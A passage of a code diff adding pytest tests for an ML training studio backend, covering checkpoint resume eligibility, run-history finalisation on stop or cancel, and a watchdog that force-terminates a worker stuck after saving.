+    valid = _write_checkpoint(out, 5)
+    (_write_checkpoint(out, 8) / "scheduler.pt").unlink()
+    malformed = out / "checkpoint-10"
+    malformed.mkdir()
+    (malformed / "trainer_state.json").write_text(json.dumps({"global_step": 10}), encoding = "utf-8")
+    (malformed / "adapter_model.bin").write_bytes(b"not a torch archive")
+    (malformed / "optimizer.pt").write_bytes(b"not a torch archive")
+
+    assert resume.get_resume_checkpoint_path(str(out)) == str(valid)
+
+
+def test_completed_run_keeps_output_dir_and_rejects_stale_cancel(monkeypatch, tmp_path):
+    from storage import studio_db
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setattr(studio_db, "_schema_ready", False)
+
+    studio_db.create_run(
+        id = "r",
+        model_name = "m",
+        dataset_name = "d",
+        config_json = "{}",
+        started_at = "2026-01-01T00:00:00Z",
+        total_steps = 10,
+    )
+    studio_db.update_run_output_dir("r", "/out/x")
+    studio_db.finish_run(
+        id = "r",
+        status = "completed",
+        ended_at = "t",
+        final_step = 2,
+        final_loss = None,
+        duration_seconds = 1,
+        loss_sparkline = "[]",
+        output_dir = "/out/x",
+        error_message = None,
+    )
+
+    assert studio_db.get_run("r")["output_dir"] == "/out/x"
+    assert studio_db.mark_run_cancel_requested("r") is False
+    assert studio_db.get_run("r")["output_dir"] == "/out/x"
+    assert studio_db.get_run("r")["resume_blocked"] == 0
+
+
+def test_finish_run_clears_output_dir_for_stop_without_save(monkeypatch, tmp_path):
+    from storage import studio_db
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setattr(studio_db, "_schema_ready", False)
+
+    studio_db.create_run(
+        id = "r",
+        model_name = "m",
+        dataset_name = "d",
+        config_json = "{}",
+        started_at = "2026-01-01T00:00:00Z",
+        total_steps = 10,
+    )
+    studio_db.update_run_output_dir("r", "/out/x")
+    studio_db.finish_run(
+        id = "r",
+        status = "stopped",
+        ended_at = "t",
+        final_step = 2,
+        final_loss = None,
+        duration_seconds = 1,
+        loss_sparkline = "[]",
+        output_dir = None,
+        error_message = None,
+        clear_output_dir = True,
+    )
+
+    assert studio_db.get_run("r")["output_dir"] is None
+    conn = studio_db.get_connection()
+    conn.execute(
+        "UPDATE training_runs SET status = 'running', output_dir = '/out/x', resume_blocked = 0 WHERE id = 'r'"
+    )
+    conn.commit()
+    conn.close()
+    studio_db.mark_run_cancel_requested("r")
+    studio_db.cleanup_orphaned_runs()
+    assert studio_db.get_run("r")["status"] == "stopped"
+    assert studio_db.get_run("r")["output_dir"] is None
+
+
+def test_finish_run_clears_output_dir_on_cancel_error_finalize(monkeypatch, tmp_path):
+    from storage import studio_db
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setattr(studio_db, "_schema_ready", False)
+
+    studio_db.create_run(
+        id = "r",
+        model_name = "m",
+        dataset_name = "d",
+        config_json = "{}",
+        started_at = "2026-01-01T00:00:00Z",
+        total_steps = 10,
+    )
+    studio_db.update_run_output_dir("r", "/out/x")
+    studio_db.finish_run(
+        id = "r",
+        status = "stopped",
+        ended_at = "t",
+        final_step = 2,
+        final_loss = None,
+        duration_seconds = 1,
+        loss_sparkline = "[]",
+        output_dir = "/out/x",
+        error_message = "worker failed during cancel",
+        clear_output_dir = True,
+    )
+
+    assert studio_db.get_run("r")["output_dir"] is None
+
+
+def test_finish_run_preserves_output_dir_for_interrupted_stop_and_save(monkeypatch, tmp_path):
+    from storage import studio_db
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setattr(studio_db, "_schema_ready", False)
+
+    studio_db.create_run(
+        id = "r",
+        model_name = "m",
+        dataset_name = "d",
+        config_json = "{}",
+        started_at = "2026-01-01T00:00:00Z",
+        total_steps = 10,
+    )
+    studio_db.update_run_output_dir("r", "/out/x")
+    studio_db.finish_run(
+        id = "r",
+        status = "stopped",
+        ended_at = "t",
+        final_step = 2,
+        final_loss = None,
+        duration_seconds = 1,
+        loss_sparkline = "[]",
+        output_dir = None,
+        error_message = None,
+    )
+
+    assert studio_db.get_run("r")["output_dir"] == "/out/x"
+
+
+def test_resumed_errored_run_is_not_offered_again(monkeypatch, tmp_path):
+    from storage import studio_db
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setattr(studio_db, "_schema_ready", False)
+
+    out = tmp_path / "outputs" / "run_x"
+    _write_checkpoint(out, 10)
+
+    studio_db.create_run(
+        id = "run-old",
+        model_name = "m",
+        dataset_name = "d",
+        config_json = "{}",
+        started_at = "2026-01-01T00:00:00Z",
+        total_steps = 20,
+    )
+    studio_db.update_run_output_dir("run-old", str(out))
+    studio_db.finish_run(
+        id = "run-old",
+        status = "error",
+        ended_at = "2026-01-01T00:05:00Z",
+        final_step = 10,
+        final_loss = None,
+        duration_seconds = 1,
+        loss_sparkline = "[]",
+        output_dir = None,
+        error_message = "killed",
+    )
+    studio_db.create_run(
+        id = "run-new",
+        model_name = "m",
+        dataset_name = "d",
+        config_json = "{}",
+        started_at = "2026-01-02T00:00:00Z",
+        total_steps = 20,
+        output_dir = str(out),
+        resumed_from_run_id = "run-old",
+    )
+    with pytest.raises(RuntimeError, match = "no longer available"):
+        studio_db.create_run(
+            id = "run-duplicate",
+            model_name = "m",
+            dataset_name = "d",
+            config_json = "{}",
+            started_at = "2026-01-02T00:00:01Z",
+            total_steps = 20,
+            output_dir = str(out),
+            resumed_from_run_id = "run-old",
+        )
+    assert studio_db.get_run("run-duplicate") is None
+    studio_db.finish_run(
+        id = "run-new",
+        status = "error",
+        ended_at = "2026-01-02T00:05:00Z",
+        final_step = 15,
+        final_loss = None,
+        duration_seconds = 1,
+        loss_sparkline = "[]",
+        output_dir = None,
+        error_message = "killed again",
+    )
+
+    old_run = studio_db.get_run("run-old")
+    new_run = studio_db.get_run("run-new")
+    assert old_run["resumed_later"] == 1
+    assert resume.can_resume_run(old_run) is False
+    assert new_run["resumed_later"] == 0
+    assert resume.can_resume_run(new_run) is True
+    assert studio_db.get_resumable_run_by_output_dir(str(out))["id"] == "run-new"
+
+
+def test_running_continuation_blocks_older_resume(monkeypatch, tmp_path):
+    from storage import studio_db
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setattr(studio_db, "_schema_ready", False)
+
+    out = tmp_path / "outputs" / "run_x"
+    _write_checkpoint(out, 10)
+
+    studio_db.create_run(
+        id = "run-old",
+        model_name = "m",
+        dataset_name = "d",
+        config_json = "{}",
+        started_at = "2026-01-01T00:00:00Z",
+        total_steps = 20,
+    )
+    studio_db.update_run_output_dir("run-old", str(out))
+    studio_db.finish_run(
+        id = "run-old",
+        status = "error",
+        ended_at = "2026-01-01T00:05:00Z",
+        final_step = 10,
+        final_loss = None,
+        duration_seconds = 1,
+        loss_sparkline = "[]",
+        output_dir = None,
+        error_message = "killed",
+    )
+    studio_db.create_run(
+        id = "run-new",
+        model_name = "m",
+        dataset_name = "d",
+        config_json = "{}",
+        started_at = "2026-01-02T00:00:00Z",
+        total_steps = 20,
+        output_dir = str(out),
+        resumed_from_run_id = "run-old",
+    )
+
+    old_run = studio_db.get_run("run-old")
+    assert old_run["resumed_later"] == 1
+    assert resume.can_resume_run(old_run) is False
+    assert studio_db.get_resumable_run_by_output_dir(str(out)) is None
+
+
+def test_stop_save_checkpoint_failure_keeps_error_status(monkeypatch, tmp_path):
+    # A stop-and-save whose checkpoint write failed must finalize as an error so
+    # history explains the missing resume state (keep_error_status flag).
+    from core.training.training import TrainingBackend
+    from storage import studio_db
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setattr(studio_db, "_schema_ready", False)
+
+    studio_db.create_run(
+        id = "run-failed-save",
+        model_name = "m",
+        dataset_name = "d",
+        config_json = "{}",
+        started_at = "2026-01-01T00:00:00Z",
+        total_steps = 10,
+    )
+    backend = TrainingBackend()
+    backend.current_job_id = "run-failed-save"
+    backend._db_run_created = True
+    backend._should_stop = True
+    backend._handle_event(
+        {
+            "type": "error",
+            "error": "Failed to save a resumable checkpoint after stop.",
+            "keep_error_status": True,
+        }
+    )
+
+    run = studio_db.get_run("run-failed-save")
+    assert run["status"] == "error"
+    assert "resumable checkpoint" in run["error_message"]
+
+
+def test_can_resume_run_rejects_resume_blocked_run(monkeypatch):
+    monkeypatch.setattr(resume, "has_resume_state", lambda _path: True)
+
+    assert resume.can_resume_run(_stopped_run(status = "error", resume_blocked = 1)) is False
+
+
+def test_stop_save_checkpoint_failure_with_stale_checkpoint_is_not_resumable(monkeypatch, tmp_path):
+    # A failed stop-and-save must not offer Resume from an older periodic checkpoint;
+    # that would roll back past the recorded final step.
+    from core.training.training import TrainingBackend
+    from storage import studio_db
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setattr(studio_db, "_schema_ready", False)
+
+    out = tmp_path / "outputs" / "run_x"
+    _write_checkpoint(out, 10)
+
+    studio_db.create_run(
+        id = "run-stale-ckpt",
+        model_name = "m",
+        dataset_name = "d",
+        config_json = "{}",
+        started_at = "2026-01-01T00:00:00Z",
+        total_steps = 20,
+    )
+    studio_db.update_run_output_dir("run-stale-ckpt", str(out))
+    backend = TrainingBackend()
+    backend.current_job_id = "run-stale-ckpt"
+    backend._db_run_created = True
+    backend._should_stop = True
+    backend._output_dir = str(out)
+    backend._handle_event(
+        {
+            "type": "error",
+            "error": "Failed to save a resumable checkpoint after stop.",
+            "keep_error_status": True,
+            "resume_blocked": True,
+        }
+    )
+
+    run = studio_db.get_run("run-stale-ckpt")
+    assert run["status"] == "error"
+    assert run["resume_blocked"] == 1
+    assert run["output_dir"] == str(out)
+    assert resume.can_resume_run(run) is False
+
+
+def test_user_stop_error_without_checkpoint_ack_is_blocked(monkeypatch, tmp_path):
+    from core.training.training import TrainingBackend
+    from storage import studio_db
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setattr(studio_db, "_schema_ready", False)
+
+    studio_db.create_run(
+        id = "run-user-stop",
+        model_name = "m",
+        dataset_name = "d",
+        config_json = "{}",
+        started_at = "2026-01-01T00:00:00Z",
+        total_steps = 10,
+    )
+    backend = TrainingBackend()
+    backend.current_job_id = "run-user-stop"
+    backend._db_run_created = True
+    backend._should_stop = True
+    backend._handle_event({"type": "error", "error": "interrupted"})
+
+    run = studio_db.get_run("run-user-stop")
+    assert run["status"] == "error" and run["resume_blocked"] == 1
+
+
+def test_terminal_fallback_keeps_resumable_when_current_checkpoint_landed(monkeypatch, tmp_path):
+    # Worker died before its terminal event, but a valid current-step checkpoint
+    # is on disk: the fallback must keep the run resumable, not block it.
+    from core.training.training import TrainingBackend
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    out = tmp_path / "outputs" / "run_ok"
+    _write_checkpoint(out, 7)
+
+    backend = TrainingBackend()
+    backend.current_job_id = "run-ok"
+    backend._should_stop = True
+    backend._output_dir = str(out)
+    backend._progress.step = 7
+
+    kwargs = backend._terminal_finalize_kwargs()
+    assert kwargs["status"] == "stopped"
+    assert kwargs["resume_blocked"] is False
+
+
+def test_terminal_fallback_blocks_when_no_current_checkpoint(monkeypatch, tmp_path):
+    # Same path, but only a stale (older-step) checkpoint exists: must block.
+    from core.training.training import TrainingBackend
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    out = tmp_path / "outputs" / "run_stale"
+    _write_checkpoint(out, 5)
+
+    backend = TrainingBackend()
+    backend.current_job_id = "run-stale"
+    backend._should_stop = True
+    backend._output_dir = str(out)
+    backend._progress.step = 7
+
+    kwargs = backend._terminal_finalize_kwargs()
+    assert kwargs["status"] == "error"
+    assert kwargs["resume_blocked"] is True
diff --git a/studio/backend/tests/test_training_stop_watchdog.py b/studio/backend/tests/test_training_stop_watchdog.py
new file mode 100644
index 0000000000..cbe2082e82
--- /dev/null
+++ b/studio/backend/tests/test_training_stop_watchdog.py
@@ -0,0 +1,907 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Stop-watchdog escalation for a stuck training stop.
+
+A save-stop signals the worker and waits for it to save and exit. On some platforms the
+worker saves but then wedges in post-save GPU/driver teardown and never exits, leaving the
+run stuck in "Stopping..." forever. These tests pin the bounded recovery: the watchdog
+escalates to force_terminate() a short grace after "complete" (save done) or after an
+absolute timeout (hang during save), and never force-kills a worker that exits cleanly.
+Fakes only; no GPU, network, or subprocess.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import logging
+import queue
+import sys
+import threading
+import time
+import types as _types
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Stub the heavy module-level imports of core/training/training.py so it imports
+# under CPU-only/no-network, then restore them (see the restore loop below).
+_SAVED: dict = {}
+
+
+def _stub(name, mod):
+    _SAVED[name] = sys.modules.get(name)
+    sys.modules[name] = mod
+
+
+_lg = _types.ModuleType("loggers")
+_lg.get_logger = lambda name: logging.getLogger(name)
+_stub("loggers", _lg)
+_stub("structlog", _types.ModuleType("structlog"))
+_mpl = _types.ModuleType("matplotlib")
+_plt = _types.ModuleType("matplotlib.pyplot")
+_plt.Figure = type("Figure", (), {})  # referenced in a class-def annotation
+_mpl.pyplot = _plt
+_stub("matplotlib", _mpl)
+_stub("matplotlib.pyplot", _plt)
+_hw = _types.ModuleType("utils.hardware")
+_hw.prepare_gpu_selection = lambda *a, **k: (None, None)
+_stub("utils.hardware", _hw)
+_npl = _types.ModuleType("utils.native_path_leases")
+_npl.native_path_secret_removed_for_child_start = lambda: contextlib.nullcontext()
+_npl.run_without_native_path_secret = lambda fn: fn
+_stub("utils.native_path_leases", _npl)
+_pth = _types.ModuleType("utils.paths")
+_pth.outputs_root = lambda *a, **k: "/tmp/outputs"
+_stub("utils.paths", _pth)
+
+# Whether core.training.training was already imported before this file ran; only
+# evict it below if we were the one to create the (stub-bound) module instance.
+_TRAINING_PRE_IMPORTED = "core.training.training" in sys.modules
+
+from core.training.training import TrainingBackend
+
+# Restore every stubbed module so this file never pollutes the shared session.
+for _name in (
+    "loggers",
+    "structlog",
+    "matplotlib",
+    "matplotlib.pyplot",
+    "utils.hardware",
+    "utils.native_path_leases",
+    "utils.paths",
+):
+    _prev = _SAVED.get(_name)
+    if _prev is None:
+        sys.modules.pop(_name, None)
+    else:
+        sys.modules[_name] = _prev
+
+if not _TRAINING_PRE_IMPORTED:
+    sys.modules.pop("core.training.training", None)
+    sys.modules.pop("core.training", None)
+
+# The module globals hold the escalation timeouts and are the watchdog's own
+# namespace; patch them here so tests run in well under a second.
+_G = TrainingBackend._stop_watchdog_loop.__globals__
+
+
+class _FakeProc:
+    """A subprocess handle whose liveness and kill calls the test observes."""
+
+    def __init__(self, alive: bool = True):
+        self._alive = alive
+        self.pid = 4321
+        self.terminated = False
+        self.killed = False
+
+    def is_alive(self):
+        return self._alive
+
+    def terminate(self):
+        self.terminated = True
+
+    def kill(self):
+        self.killed = True
+
+    def join(self, timeout = None):
+        pass
+
+
+def _wait_until(predicate, timeout = 5.0):
+    deadline = time.time() + timeout
+    while time.time() < deadline:
+        if predicate():
+            return True
+        time.sleep(0.01)
+    return predicate()
+
+
+def _record_force_terminate(monkeypatch, b):
+    """Replace force_terminate + escalation finalize with recorders (no DB/OS)."""
+    calls: list = []
+    monkeypatch.setattr(b, "force_terminate", lambda target_proc = None: calls.append("force"))
+    monkeypatch.setattr(
+        b,
+        "_finalize_stopped_after_escalation",
+        lambda target_proc = None, watched_job_id = None: calls.append("final"),
+    )
+    return calls
+
+
+# ----------------------------------------------------------------------------
+# (a) Escalate a short grace after "complete" (save done) if still alive.
+# ----------------------------------------------------------------------------
+
+
+def test_watchdog_escalates_after_grace_once_complete_seen(monkeypatch):
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 0.05)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 100.0)  # ensure grace, not timeout, fires
+    b = TrainingBackend()
+    calls = _record_force_terminate(monkeypatch, b)
+
+    proc = _FakeProc(alive = True)
+    b._proc = proc
+    b._complete_seen.set()  # worker reported "complete" -> save is done
+
+    b._start_stop_watchdog(cancel = False)
+    assert _wait_until(
+        lambda: calls == ["force", "final"]
+    ), "watchdog must force_terminate a worker still alive after the post-save grace"
+    b._stop_watchdog.join(timeout = 5)
+
+
+# ----------------------------------------------------------------------------
+# (b) The absolute cap is a last-resort backstop, not a save killer.
+# ----------------------------------------------------------------------------
+
+
+def test_watchdog_does_not_kill_save_still_saving_within_window(monkeypatch):
+    # save=True, no "complete" yet: a slow save in progress must not be force-killed
+    # inside the (long) absolute window.
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 100.0)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 100.0)
+    b = TrainingBackend()
+    calls = _record_force_terminate(monkeypatch, b)
+
+    proc = _FakeProc(alive = True)
+    b._proc = proc
+    b._start_stop_watchdog(cancel = False)
+
+    time.sleep(0.3)
+    assert calls == [], "an in-progress save must not be killed within the absolute window"
+    assert b._stop_watchdog.is_alive()
+
+    proc._alive = False
+    b._stop_watchdog.join(timeout = 5)
+
+
+def test_watchdog_backstop_fires_for_save_after_absolute_timeout(monkeypatch):
+    # Past the long save=True cap with no completion: force-terminate as last resort.
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 100.0)  # never trips (no complete)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 0.05)
+    b = TrainingBackend()
+    calls = _record_force_terminate(monkeypatch, b)
+
+    b._proc = _FakeProc(alive = True)
+    b._start_stop_watchdog(cancel = False)
+    assert _wait_until(
+        lambda: calls == ["force", "final"]
+    ), "the absolute backstop must force_terminate a save that never completes"
+    b._stop_watchdog.join(timeout = 5)
+
+
+def test_cancel_uses_shorter_absolute_timeout(monkeypatch):
+    # A cancel has nothing to save, so it escalates on the shorter cancel cap even before
+    # the long save cap elapses.
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 100.0)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 100.0)  # save cap would not fire
+    monkeypatch.setitem(_G, "_CANCEL_TIMEOUT_S", 0.05)
+    b = TrainingBackend()
+    calls = _record_force_terminate(monkeypatch, b)
+
+    b._proc = _FakeProc(alive = True)
+    b._start_stop_watchdog(cancel = True)
+    assert _wait_until(
+        lambda: calls == ["force", "final"]
+    ), "a cancel must escalate on the shorter cancel timeout"
+    b._stop_watchdog.join(timeout = 5)
+
+
+# ----------------------------------------------------------------------------
+# (c) No force-kill when the worker exits cleanly and promptly.
+# ----------------------------------------------------------------------------
+
+
+def test_watchdog_no_op_on_clean_quick_exit(monkeypatch):
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 5.0)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 10.0)
+    b = TrainingBackend()
+    calls = _record_force_terminate(monkeypatch, b)
+
+    proc = _FakeProc(alive = True)
+    b._proc = proc
+    b._complete_seen.set()  # save done; worker is about to exit on its own
+
+    b._start_stop_watchdog(cancel = False)
+    # Worker exits promptly, well before the grace period elapses.
+    time.sleep(0.1)
+    proc._alive = False
+
+    b._stop_watchdog.join(timeout = 5)
+    assert not b._stop_watchdog.is_alive()
+    assert calls == [], "a clean quick exit must not trigger force_terminate"
+
+
+def test_watchdog_no_op_when_worker_superseded(monkeypatch):
+    # A stale watchdog from a prior run must never kill a new run's worker: once
+    # self._proc is replaced, it exits silently.
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 0.05)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 0.05)
+    b = TrainingBackend()
+    calls = _record_force_terminate(monkeypatch, b)
+
+    old_proc = _FakeProc(alive = True)
+    b._proc = old_proc
+    b._complete_seen.set()
+    b._start_stop_watchdog(cancel = False)
+
+    # A new run takes over the handle before the grace elapses.
+    b._proc = _FakeProc(alive = True)
+
+    b._stop_watchdog.join(timeout = 5)
+    assert calls == [], "watchdog must not force_terminate a superseded worker"
+
+
+def test_new_run_gets_its_own_watchdog(monkeypatch):
+    # A stale watchdog sleeping on an old proc must not stop a new run's stop from
+    # creating its own watcher.
+    b = TrainingBackend()
+    started = []
+    release = threading.Event()
+
+    def _blocked_watchdog(
+        target_proc,
+        cancel,
+        watched_job_id = None,
+    ):
+        started.append(target_proc)
+        # No timeout: the finally always releases this, so a superseded watchdog stays
+        # alive through the assertions regardless of load; as a daemon it can't hang exit.
+        release.wait()
+
+    monkeypatch.setattr(b, "_stop_watchdog_loop", _blocked_watchdog)
+
+    old_proc = _FakeProc(alive = True)
+    b._proc = old_proc
+    b._start_stop_watchdog(cancel = False)
+    first_wd = b._stop_watchdog
+    assert _wait_until(lambda: started == [old_proc])
+
+    # New run: fresh worker replaces the handle; its stop must get a new watcher
+    # even though the old (superseded) watchdog is still alive.
+    new_proc = _FakeProc(alive = True)
+    b._proc = new_proc
+    b._start_stop_watchdog(cancel = False)
+    second_wd = b._stop_watchdog
+
+    try:
+        assert _wait_until(lambda: started == [old_proc, new_proc])
+        assert first_wd.is_alive()
+        assert second_wd is not first_wd, "a new run must get its own watchdog"
+        assert b._stop_watchdog_proc is new_proc
+    finally:
+        release.set()
+        first_wd.join(timeout = 5)
+        second_wd.join(timeout = 5)
+
+
+def test_force_terminate_targets_only_captured_proc():
+    # Superseded: force_terminate(target) must not touch a different current worker.
+    b = TrainingBackend()
+    old_proc = _FakeProc(alive = True)
+    new_proc = _FakeProc(alive = True)
+    b._proc = new_proc
+    b.force_terminate(target_proc = old_proc)
+    assert new_proc.terminated is False, "must not terminate the new run's worker"
+    assert old_proc.terminated is False, "must not terminate a handle that is not current"
+
+    # Matching: the captured handle is the current worker, so it is terminated.
+    p = _FakeProc(alive = True)
+    b._proc = p
+    b.force_terminate(target_proc = p)
+    assert p.terminated is True
+
+
+# ----------------------------------------------------------------------------
+# Post-escalation finalize leaves the parent ready for a new run.
+# ----------------------------------------------------------------------------
+
+
+def test_finalize_runs_even_if_force_terminate_raises(monkeypatch):
+    # A wedged child can make force_terminate() raise; finalize must still run so the
+    # run does not stay stuck in "Stopping...".
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 0.05)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 100.0)
+    b = TrainingBackend()
+
+    def _boom(target_proc = None):
+        raise RuntimeError("kill() failed on wedged child")
+
+    finalized: list = []
+    monkeypatch.setattr(b, "force_terminate", _boom)
+    monkeypatch.setattr(
+        b,
+        "_finalize_stopped_after_escalation",
+        lambda target_proc = None, watched_job_id = None: finalized.append(True),
+    )
+
+    b._proc = _FakeProc(alive = True)
+    b._complete_seen.set()
+    b._start_stop_watchdog(cancel = False)
+
+    assert _wait_until(
+        lambda: finalized == [True]
+    ), "finalize must run even when force_terminate raises"
+    b._stop_watchdog.join(timeout = 5)
+
+
+def test_finalize_after_escalation_clears_state(monkeypatch):
+    # Even if the OS never reaps the wedged worker, the parent must report the run
+    # stopped so the UI leaves "Stopping..." and a new run can start.
+    b = TrainingBackend()
+    finstop: list = []
+    monkeypatch.setattr(b, "_finish_stopped_run", lambda *a, **k: finstop.append(a))
+
+    b._proc = _FakeProc(alive = True)  # wedged: still reports alive
+    b._should_stop = True
+    b.current_job_id = "job_c"
+    b._db_run_created = True
+    b._progress.is_training = True
+
+    b._finalize_stopped_after_escalation(watched_job_id = "job_c")
+
+    assert b._proc is None, "the wedged handle must be dropped so is_training_active clears"
+    assert b._progress.is_training is False
+    assert "valid current-step checkpoint" in b._progress.status_message
+    assert finstop and finstop[0][0] == "job_c", "the captured run must be finalized by id"
+    assert b.is_training_active() is False
+
+
+def test_finalize_after_escalation_preserves_output_dir(monkeypatch):
+    # A save-stop that already emitted "complete" has the checkpoint dir; run history
+    # must record it even if the watchdog wins the finalize race against the pump.
+    b = TrainingBackend()
+    finstop: list = []
+    monkeypatch.setattr(b, "_finish_stopped_run", lambda *a, **k: finstop.append(a))
+
+    b._proc = _FakeProc(alive = True)
+    b._should_stop = True
+    b.current_job_id = "job_c"
+    b._db_run_created = True
+    b._output_dir = "/tmp/outputs/run-123"
+
+    b._finalize_stopped_after_escalation(watched_job_id = "job_c")
+
+    # _finish_stopped_run(run_id, output_dir, batch, final_step, final_loss, duration, loss_history)
+    assert finstop and finstop[0][0] == "job_c"
+    assert finstop[0][1] == "/tmp/outputs/run-123"
+
+
+def test_finalize_after_escalation_clears_output_dir_on_cancel(monkeypatch):
+    # Stop-without-saving promises no resume: a cancel that escalates through the
+    # watchdog clears the persisted output_dir, not a checkpoint path.
+    b = TrainingBackend()
+    finstop: list = []
+    monkeypatch.setattr(b, "_finish_stopped_run", lambda *a, **k: finstop.append((a, k)))
+
+    b._proc = _FakeProc(alive = True)
+    b._should_stop = True
+    b._cancel_requested = True
+    b.current_job_id = "job_c"
+    b._db_run_created = True
+    b._output_dir = "/tmp/outputs/run-123"
+
+    b._finalize_stopped_after_escalation(watched_job_id = "job_c")
+
+    assert finstop and finstop[0][0][0] == "job_c"
+    assert finstop[0][0][1] is None, "a cancelled run must not record a checkpoint path"
+    assert finstop[0][1].get("clear_output_dir") is True
+    assert b._output_dir is None, "/status must stop exposing the cancelled run's dir"
+
+
+def test_stop_training_starts_watchdog_only_when_worker_alive(monkeypatch):
+    # No worker -> nothing to escalate; the watchdog must not spawn.
+    b = TrainingBackend()
+    b._proc = None
+    assert b.stop_training(save = True) is True
+    assert b._stop_watchdog is None
+
+
+# ----------------------------------------------------------------------------
+# (d) A stale watchdog must never clobber a run that replaced its worker.
+# ----------------------------------------------------------------------------
+
+
+def test_finalize_after_escalation_no_ops_when_superseded(monkeypatch):
+    # A /start can slip in while the watchdog force-terminates the old worker
+    # (is_training_active() is False once _should_stop is set and the old proc is dead).
+    # The escalation finalize must then leave the NEW run untouched, not drop its handle.
+    b = TrainingBackend()
+    finstop: list = []
+    monkeypatch.setattr(b, "_finish_stopped_run", lambda *a, **k: finstop.append(a))
+
+    old_proc = _FakeProc(alive = False)  # force-terminated worker we were watching
+    new_proc = _FakeProc(alive = True)  # a new run already took over
+    b._proc = new_proc
+    b.current_job_id = "job_new"
+    b._db_run_created = True
+    b._progress.is_training = True
+
+    b._finalize_stopped_after_escalation(target_proc = old_proc)
+
+    assert b._proc is new_proc, "must not drop the new run's handle"
+    assert b._progress.is_training is True, "must not mark the new run stopped"
+    assert finstop == [], "must not finalize the new run in the DB"
+
+
+def test_finalize_after_escalation_runs_for_its_own_worker(monkeypatch):
+    # Common case: the watched worker is still current, so finalize proceeds and
+    # finalizes the captured run by id.
+    b = TrainingBackend()
+    finstop: list = []
+    monkeypatch.setattr(b, "_finish_stopped_run", lambda *a, **k: finstop.append(a))
+
+    proc = _FakeProc(alive = False)
+    b._proc = proc
+    b.current_job_id = "job_a"
+    b._db_run_created = True
+    b._progress.is_training = True
+
+    b._finalize_stopped_after_escalation(target_proc = proc, watched_job_id = "job_a")
+
+    assert b._proc is None
+    assert b._progress.is_training is False
+    assert finstop and finstop[0][0] == "job_a", "must finalize the captured run by id"
+
+
+def test_finalize_after_escalation_no_ops_on_job_change_during_startup(monkeypatch):
+    # start_training updates current_job_id BEFORE it installs the new _proc, so a stale
+    # watchdog can enter while _proc is still the old (dead) handle. The job-id guard must
+    # catch this even though the proc-only guard would not.
+    b = TrainingBackend()
+    finstop: list = []
+    monkeypatch.setattr(b, "_finish_stopped_run", lambda *a, **k: finstop.append(a))
+
+    old_proc = _FakeProc(alive = False)  # old worker, dead; new _proc not installed yet
+    b._proc = old_proc  # still the old handle (== target), so proc guard would pass
+    b.current_job_id = "job_new"  # but the new run already claimed the job id
+    b._db_run_created = True
+    b._progress.is_training = True
+
+    b._finalize_stopped_after_escalation(target_proc = old_proc, watched_job_id = "job_old")
+
+    assert b._proc is old_proc, "must not drop the handle during a new run's startup"
+    assert b._progress.is_training is True, "must not mark the starting run stopped"
+    assert finstop == [], "must not finalize while a new run is starting up"
+
+
+# ----------------------------------------------------------------------------
+# (e) A later cancel (save=False) tightens an in-flight save watchdog.
+# ----------------------------------------------------------------------------
+
+
+def test_later_cancel_tightens_watchdog_timeout(monkeypatch):
+    monkeypatch.setitem(_G, "_STOP_GRACE_S", 100.0)  # never trips (no complete)
+    monkeypatch.setitem(_G, "_STOP_TIMEOUT_S", 100.0)  # save cap would not fire
+    monkeypatch.setitem(_G, "_CANCEL_TIMEOUT_S", 0.05)
+    b = TrainingBackend()
+    calls = _record_force_terminate(monkeypatch, b)
+
+    b._proc = _FakeProc(alive = True)
+    b._start_stop_watchdog(cancel = False)  # started as a save-stop with the long cap
+    time.sleep(0.15)
+    assert calls == [], "a save-stop must not escalate on the short cancel cap yet"
+
+    # The user now cancels the in-flight stop: the watchdog must tighten its cap.
+    b._cancel_requested = True
+    assert _wait_until(
+        lambda: calls == ["force", "final"]
+    ), "a later cancel must tighten the watchdog to the shorter cancel cap"
+    b._stop_watchdog.join(timeout = 5)
+
+
+# ----------------------------------------------------------------------------
+# (f) DB finalize/flush are safe when the watchdog and pump race (see Item 4).
+# ----------------------------------------------------------------------------
+
+
+def _install_fake_db(monkeypatch):
+    """Stub storage.studio_db + utils.downsample so the real DB helpers run without
+    SQLite. Returns the recorder dict."""
+    recs = {"created": [], "finished": [], "inserted": [], "insert_ids": [], "progress_ids": []}
+    fake_storage = _types.ModuleType("storage")
+    fake_db = _types.ModuleType("storage.studio_db")
